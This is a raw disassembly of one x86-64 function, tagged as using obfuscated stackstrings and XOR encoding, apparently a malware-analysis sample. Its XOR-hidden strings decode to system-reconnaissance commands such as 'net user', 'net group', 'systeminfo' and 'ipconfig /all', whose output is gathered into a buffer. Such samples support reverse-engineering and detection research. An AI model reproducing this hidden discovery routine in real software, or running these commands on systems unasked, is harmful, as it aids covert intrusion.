Function at 0x140009278
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rbx, rcx
lea rcx, [rbp + 0x6f]
call fcn.140008650
mov rdx, rax
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp - 0x39]
call fcn.140008e10
mov r13d, SafeArrayUnaccessData
mov dword [rbp + 0x6f], 0x7f0071
mov dword [rbp + 0x73], 0x120076
lea r15d, [r13 - 0xa]
mov ecx, r15d
call fcn.140002534
lea r8, [rbp + 0x6f]
mov rdx, rax
sub r8, rax
lea r9d, [r13 - 0xe]
lea r12d, [r13 - 0x11]
movzx ecx, word [r8 + rdx]
xor cx, r13w
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, r12
jne 0x1400092ed
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008828
test eax, eax
je 0x140009bfa
lea rcx, [rbp - 0x39]
mov dword [rbp + 0x2b], 0x3a980
call fcn.140008d6c
test al, al
je 0x140009bfa
lea rcx, [rbp + 0x6f]
call fcn.140008328
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
lea r14, [0x14001b470]
mov rcx, rbx
mov rdx, r14
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.14000802c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.140007f88
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.1400085a8
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.140008518
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.1400080c4
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.1400086cc
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.140007c2c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.140007e28
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.1400083c4
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.140007d68
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.14000846c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.140008280
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea rcx, [rbp + 0x6f]
call fcn.140008198
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
movdqa xmm0, xmmword [0x14001bba0]
mov esi, SafeArrayGetElement
mov ecx, esi
mov dword [rbp - 0x49], 0x617c766b
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x45], r13b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, esi
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r9, r12
jne 0x1400095c3
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
mov edi, 0xc
mov dword [rbp - 0x59], 0x66677d60
mov ecx, edi
mov dword [rbp - 0x55], 0x60623277
mov dword [rbp - 0x51], 0x12667c7b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009621
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
movdqa xmm0, xmmword [0x14001bac0]
mov edi, 0x1a
mov ecx, edi
mov dword [rbp - 0x49], 0x32657d7a
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x45], 0x66736661
mov word [rbp - 0x41], 0x1277
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x14000968b
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r14
mov rcx, rbx
call fcn.140001930
lea r14d, [rdi + 0xb]
mov dword [rbp - 0x59], 0x66616b61
mov ecx, r14d
mov dword [rbp - 0x55], 0x7c7b7f77
mov word [rbp - 0x51], 0x7d74
mov byte [rbp - 0x4f], r13b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, r14d
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r9, r12
jne 0x1400096ef
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
lea rdx, [0x14001b470]
mov rcx, rbx
call fcn.140001930
movdqa xmm0, xmmword [0x14001b960]
mov edi, SafeArrayGetElement
mov ecx, edi
mov dword [rbp - 0x49], 0x12646171
movdqu xmmword [rbp - 0x59], xmm0
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009750
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
lea rdi, [0x14001b470]
mov rcx, rbx
mov rdx, rdi
call fcn.140001930
movdqa xmm0, xmmword [0x14001bd50]
mov rcx, rsi
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x7c7b737f
mov byte [rbp - 0x45], r13b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rsi, r12
jne 0x1400097b4
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, rdi
mov rcx, rbx
call fcn.140001930
mov esi, 0xa
mov dword [rbp - 0x59], 0x3266777c
mov ecx, esi
mov dword [rbp - 0x55], 0x60737a61
mov word [rbp - 0x51], 0x1277
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, esi
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r9, r12
jne 0x140009814
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, rdi
mov rcx, rbx
call fcn.140001930
mov edi, 9
mov dword [rbp - 0x59], 0x3266777c
mov ecx, edi
mov dword [rbp - 0x55], 0x60776167
mov byte [rbp - 0x51], r13b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x14000986f
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
lea rdx, [0x14001b470]
mov rcx, rbx
call fcn.140001930
movdqa xmm0, xmmword [0x14001bcf0]
mov edi, 0x11
mov ecx, edi
mov byte [rbp - 0x49], r13b
movdqu xmmword [rbp - 0x59], xmm0
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x1400098cd
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
lea rdx, [0x14001b470]
mov rcx, rbx
call fcn.140001930
mov rcx, r15
mov dword [rbp + 0x6f], 0x3266777c
mov dword [rbp + 0x73], 0x12776167
call fcn.140002534
lea r8, [rbp + 0x6f]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r15, r12
jne 0x140009924
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
lea r15, [0x14001b470]
mov rcx, rbx
mov rdx, r15
call fcn.140001930
mov rcx, rsi
mov dword [rbp - 0x59], 0x3266777c
mov dword [rbp - 0x55], 0x677d6075
mov word [rbp - 0x51], 0x1262
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9, rsi
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r9, r12
jne 0x140009987
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r15
mov rcx, rbx
call fcn.140001930
mov edi, 0xf
mov dword [rbp - 0x59], 0x3266777c
mov ecx, edi
mov dword [rbp - 0x55], 0x73717d7e
mov dword [rbp - 0x51], 0x7d60757e
mov word [rbp - 0x4d], 0x6267
mov byte [rbp - 0x4b], r13b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x1400099ef
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r15
mov rcx, rbx
call fcn.140001930
mov rcx, r14
mov dword [rbp - 0x59], 0x6166777c
mov dword [rbp - 0x55], 0x32667366
mov word [rbp - 0x51], 0x603f
mov byte [rbp - 0x4f], r13b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r14, r12
jne 0x140009a4c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r15
mov rcx, rbx
call fcn.140001930
lea edi, [r14 + 0xd]
mov dword [rbp - 0x59], 0x6166777c
mov ecx, edi
mov dword [rbp - 0x55], 0x32667366
mov dword [rbp - 0x51], 0x7d737c3f
mov byte [rbp - 0x4d], r13b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009aad
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r15
mov rcx, rbx
call fcn.140001930
movdqa xmm0, xmmword [0x14001b950]
mov edi, 0x19
mov ecx, edi
mov dword [rbp - 0x49], 0x327d743d
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x45], 0x46415b5e
mov byte [rbp - 0x41], r13b
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009b15
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r15
mov rcx, rbx
call fcn.140001930
mov rcx, rsi
mov dword [rbp - 0x59], 0x3266777c
mov dword [rbp - 0x55], 0x60736661
mov word [rbp - 0x51], 0x1266
call fcn.140002534
lea r9, [rbp - 0x59]
mov r8, rax
sub r9, rax
mov cl, byte [r9 + r8]
xor cl, r13b
mov byte [r8], cl
add r8, r12
sub rsi, r12
jne 0x140009b6e
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
mov rdx, r15
mov rcx, rbx
call fcn.140001930
lea edi, [rsi + 0xe]
mov dword [rbp - 0x59], 0x7d71627b
mov ecx, edi
mov dword [rbp - 0x55], 0x757b747c
mov dword [rbp - 0x51], 0x7e733d32
mov word [rbp - 0x4d], 0x127e
call fcn.140002534
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009bcd
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008fa8
test al, al
je 0x140009bfa
lea rcx, [rbp - 0x39]
call fcn.140008c38
lea rcx, [rbp - 0x39]
call fcn.140008df0
lea rdx, [0x14001b6f0]
mov rcx, rbx
call fcn.140001930
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret